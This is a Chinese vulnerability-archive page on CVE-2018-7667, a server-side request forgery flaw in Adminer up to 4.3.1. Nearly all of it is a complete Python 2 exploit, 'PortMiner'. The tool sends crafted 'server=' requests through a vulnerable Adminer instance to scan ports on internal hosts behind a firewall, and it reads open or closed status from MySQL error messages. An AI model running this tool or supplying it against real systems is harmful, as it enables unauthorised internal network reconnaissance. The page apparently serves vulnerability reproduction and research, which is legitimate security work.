menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 004-Adminers chevron_right 002-CVE-2018-7667 Adminer 服务器端请求伪造漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    002-CVE-2018-7667 Adminer 服务器端请求伪造漏洞.md
    10.96 KB / 2021-07-17 00:01:20
        ## CVE-2018-7667 Adminer 服务器端请求伪造漏洞
    
    ### 漏洞简介
    
    Adminer 4.3.1及之前版本存在服务器端请求伪造漏洞。攻击者可借助‘server’参数利用该漏洞绕过防火墙,确定内部主机,扫描其他服务器的端口。
    
    ### 漏洞影响
    
    Adminer<=4.3.1
    
    ### 复现过程
    
    poc
    
    ```python
    import socket,re,ssl,warnings,subprocess,time
    from platform import system as system_name 
    from os import system as system_call
    
    #Adminer Server Side Request Forgery
    #PortMiner Scanner Tool
    #by John Page (hyp3rlinx)
    #ISR: ApparitionSec
    #hyp3rlinx.altervista.org 
    #=========================
    #D1rty0Tis says hi.
    
    #timeout
    MAX_TIME=32
    #ports to log
    port_lst=[]  
    #Web server response often times out but usually means ports open.
    false_pos_ports=['80','443'] 
    
    BANNER='''
               ____            _   __  __ _                  
              |  _  \         | | |  \/  (_)                 
              | |__) |__  _ __| |_| \  / |_ _ __   ___ _ __  
              |  ___/ _ \| '__| __| |\/| | | '_ \ / _ \ '__| 
              | |  | (_) | |  | |_| |  | | | | | |  __/ |    
              |_|   \___/|_|   \__|_|  |_|_|_| |_|\___|_|                                                                                                             
           '''                               
       
    
    def info():
        print "\nPortMiner depends on Error messages to determine open/closed ports."
        print "Read operations reported 'timed out' may be open/filtered.\n"
    
    
    def greet():
        print 'Adminer Unauthenticated SSRF Port Scanner Tool'
        print 'Targets Adminer used for MySQL administration\n'
        print 'by hyp3rlinx - apparition security'
        print '-----------------------------------------------------\n'
        print 'Scan small ranges or single ports or expect to wait.\n'
        print 'Do not scan networks without authorized permission.'
        print 'Author not responsible for abuse/misuse.\n'
    
        
    def chk_ports(p): 
        p=p.replace('-',',')
        port_arg=p.split(',')
        try:
            if len(port_arg)>1:
                if int(port_arg[1]) < int(port_arg[0]):
                    print 'Port range not valid.'
                    raw_input()
                    return
                if int(port_arg[1])>65535:
                    print 'Exceeded max Port range 65535.'
                    raw_input()
                    return
        except Exception as e:
            print str(e)
            return None
        return list(range(int(port_arg[0]),int(port_arg[1])+1))
    
    
    
    def log(IP):
        try:
            file=open('PortMiner.txt', 'w')
            file.write(IP+'\n')
            for p in port_lst:
                file.write(p+'\n')
            file.close()
        except Exception as e:
            print str(e)
        print "\nSee PortMiner.txt"
    
    
    def use_ssl(ADMINER,ADMINER_PORT):
        try:
            s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((ADMINER,int(ADMINER_PORT)))
            s=ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23)
            s.close()
        except Exception as e:
            print ""
            return False
        return True
    
    
    def version(ip,port,uri,use_ssl):
        res=""
        try:
            s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((ip,int(port)))
            if use_ssl:
                s=ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23) 
            s.send('GET '+'/'+uri+'/?server='+':'+'&username=\r\n\r\n')
    
        except Exception as e:
            print 'Host up but cant connect.' #str(e)
            print 'Re-check Host/Port/URI.'
            s.close()
            return 504
         
        while True:
            RES=s.recv(512)
            if RES.find('Forbidden')!=-1:
                print 'Forbidden 403'
                s.close()
                return None
            if RES.find('401 Authorization Required')!=-1:
                print '401 Authorization Required'
                s.close()
                return None
            ver = re.findall(r'<span>(.*)</span>',RES,re.DOTALL|re.MULTILINE)
            if not RES:
                s.close()
                return None
            if ver:
                print 'Your Adminer '+ ver[0] + ' works for us now.'
                s.close()
                return ver
    
        s.close()
        return None
     
           
                   
    def scan(ADMINER,ADMINER_PORT,ADMINER_URI,TARGET,PORTS_TO_SCAN,PRINT_CLOSED,USE_SSL):
        global MAX_TIME,port_range
        RES=''
    
        print 'scanning ports: %s ' % str(port_range[0])+'to ' + str(port_range[-1])+' ...'
        
        for aPort in port_range: 
             aPort=str(aPort)
             
             try:
                 s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                 s.settimeout(MAX_TIME)
                 s.connect((ADMINER,ADMINER_PORT))
        
                 if USE_SSL:
                    s=ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23) 
    
                 s.send('GET /'+ADMINER_URI+'/?server='+TARGET+':'+aPort+'&username= HTTP/1.1\r\nHost: '+TARGET+'\r\n\r\n')
        
             except Exception as e:
                  print str(e)
                  s.close()
                  return
    
             while True:
                  try:
                     RES=s.recv(512)
                     ###print RES
                     ###Should see HTTP/1.1 403 not 200
                     if RES.find('HTTP/1.1 200 OK')!=-1:
                         print 'port '+aPort +  ' open'
                         port_lst.append(aPort+' open')
                         s.close()
                         break
                        
                     if RES.find('400 Bad Request')!=-1:
                         print '400 Bad Request, check params'
                         s.close()
                         break
                         raw_input()                  
    
                     lst=re.findall(r"([^\n<div>].*connect to MySQL server on.*[^</div>\n])|(Lost connection to MySQL server at.*)|(MySQL server has gone away.*)"+
                                 "|(No connection could be made because the target machine actively refused it.*)|(A connection attempt failed.*)|(HTTP/1.1 200 OK.*)", RES)     
            
                     if lst:
                          status=str(lst)
                          if status.find('connect to MySQL')!=-1:
                              if PRINT_CLOSED:
                                  print 'port '+ aPort +  ' closed'
                              s.close()
                              break
                          elif status.find('machine actively refused it.')!=-1:
                              if PRINT_CLOSED:
                                  print 'port '+ aPort +  ' closed'
                              s.close()
                              break
                          elif status.find('A connection attempt failed')!=-1:
                              if PRINT_CLOSED:
                                   print 'port '+ aPort +  ' closed'
                              s.close()
                              break
                          elif status.find('reading initial communication packet')!=-1:
                              print 'port '+aPort +  ' open'
                              port_lst.append(aPort+' open')
                              s.close()
                              break
                          elif status.find('MySQL server has gone away')!=-1:
                              print 'port '+aPort +  ' open'
                              port_lst.append(aPort+' open')
                              s.close()
                              break
                          elif status.find('Bad file descriptor')!=-1:
                              print 'port '+aPort +  ' open'
                              port_lst.append(aPort+' open')
                              s.close()
                              break
                          elif status.find('Got packets out of order')!=-1:
                              print 'port '+aPort +  ' open'
                              s.close()
                              break
                            
                  except Exception  as e:
                      msg = str(e)
                      ###print msg
                      if msg.find('timed out')!=-1 and aPort in false_pos_ports:
                          print 'port '+aPort +  ' open'
                          port_lst.append(aPort+' open')
                          s.close()
                          break
                      elif msg.find('timed out')!=-1: 
                          print 'port '+aPort + ' timed out'
                          port_lst.append(aPort+' read operation timed out')
                          s.close()
                          break
                      else:
                          s.close()
                          break
                   
        if port_lst:
            log(TARGET)
        else:
            print "Scan completed, no ports mined."
        return 0
    
    
    
    def arp(host):
        args = "-a" if system_name().lower()=="windows" else "-e"
        return subprocess.call("arp " + args + " " + host, shell=True) == 0
             
    
    def ping_host(host):
        args = "-n 1" if system_name().lower()=="windows" else "-c 1"
        res=subprocess.call("ping " + args + " " + host, shell=True) == 0
        if not res:
            print str(host) + ' down? trying ARP'
            if not arp(host):
                print str(host) + ' unreachable.'
                return
        return res
    
        
    
    def main():
        global port_range
        print BANNER
        greet()
        ADMINER_VERSION=False
        PRINT_CLOSED=False
        USE_SSL=None
    
        ADMINER=raw_input('[+] Adminer Host/IP> ')
        if ADMINER=='':
            print 'Enter valid Host/IP'
            ADMINER=raw_input('[+] Adminer Host/IP> ')
        
        ADMINER_PORT=raw_input('[+] Adminer Port> ')
        if not re.search("^\d{1,5}$",ADMINER_PORT):
            print 'Enter a valid Port.'
            ADMINER_PORT=raw_input('[+] Adminer Port> ')
        
        ADMINER_URI=raw_input('[+] Adminer URI [the adminer-<version>.php OR adminer/ dir path] > ')
        TARGET=raw_input('[+] Host/IP to Scan> ')
        
        PORTS_TO_SCAN=raw_input('[+] Port Range e.g. 21-25> ').replace(' ','')
        plst=re.findall(r"(\d{1,5})-(\d{1,5})",PORTS_TO_SCAN)
        if not plst:
            print 'Invalid ports, format is 1-1025'
            return
            raw_input() #console up
    
        port_range=chk_ports(PORTS_TO_SCAN)
        if not port_range:
            return
    
        PRINT_CLOSED=raw_input('[+] Print closed ports? 1=Yes any key for No> ')
        if PRINT_CLOSED=='1':
            PRINT_CLOSED=True
        else:
            PRINT_CLOSED=False
        
        if not ping_host(ADMINER):
            print 'host %s not reachable or blocking ping ' % ADMINER  
            cont=raw_input('Continue with scan? 1=Yes any key for No> ')
            if cont!='1':
                print 'Scan aborted.'
                raw_input() #console up
                return
            
    
        USE_SSL=use_ssl(ADMINER,ADMINER_PORT)
        time.sleep(2)
        ADMINER_VERSION = version(ADMINER,ADMINER_PORT,ADMINER_URI,USE_SSL)
    
        if not ADMINER_VERSION:
            print "Can't retrieve Adminer script. check supplied URI."
            raw_input() #console up
            return
        else:
            if ADMINER_VERSION==504:
                raw_input() #console up
                return
            if scan(ADMINER,int(ADMINER_PORT),ADMINER_URI,TARGET,PORTS_TO_SCAN,PRINT_CLOSED,USE_SSL)==0:
                more=raw_input('Info: 1=Yes, any key for No> ')
                if more=='1':
                    info()
                    raw_input() #console up
    
        
    if __name__=='__main__':
        main()
    ```
    
    links
    file_download